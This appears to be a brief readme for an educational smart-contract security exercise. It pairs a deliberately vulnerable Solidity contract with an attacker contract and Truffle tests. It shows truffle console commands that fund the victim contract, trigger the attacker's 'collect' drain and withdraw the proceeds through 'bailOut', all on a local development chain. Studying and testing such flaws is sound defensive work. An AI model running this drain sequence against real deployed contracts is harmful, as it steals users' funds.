The aim is to build a vulnerable smart contract using solidity, an exploit contract and a truffle test suit with test cases written in javascript to verify, the vulnerability can be exploited successfully and mitigations placed are thwarting the attack.
“Avoid external calls when possible.
Calls to untrusted contracts can introduce several unexpected risks or errors.
External calls may execute malicious code in that contract or
any other contract that it depends upon.
As such, every external call should be treated as a potential security risk, a
nd removed if possible.” —Ethereum Wiki
truffle console
var metaCoinInstance;
var attackerInstance;
var metaCoinAddress;
var attackerAddress;
var accounts;
metaCoin.deployed().then(function(instance) { metaCoinInstance = instance; });
metaCoinEx.deployed().then(function(instance) { attackerInstance = instance; });
metaCoinAddress = metaCoinInstance.address;
attackerAddress = attackerInstance.address;
web3.eth.getAccounts(function(e,a) { accounts=a; });
account = accounts[0];
account2 = accounts[1];
web3.eth.getBalance(account).toString(10);
web3.eth.getBalance(metaCoinAddress).toString(10);
tx = metaCoinInstance.put({from: accounts[0], value: web3.toWei(5, "ether") });
web3.eth.getBalance(account).toString(10);
web3.eth.getBalance(metaCoinAddress).toString(10);
web3.eth.getBalance(attackerAddress).toString(10);
attackerInstance.collect({ value: web3.toWei(1, "ether"), gas: 1000000 });
web3.eth.getBalance(attackerAddress).toString(10);
web3.eth.getBalance(metaCoinAddress).toString(10);
web3.eth.getBalance(account2).toString(10);
attackerInstance.bailOut({from: account2});
web3.eth.getBalance(account2).toString(10);
web3.eth.getBalance(attackerAddress).toString(10);
migrate --reset
truffle develop
truffle test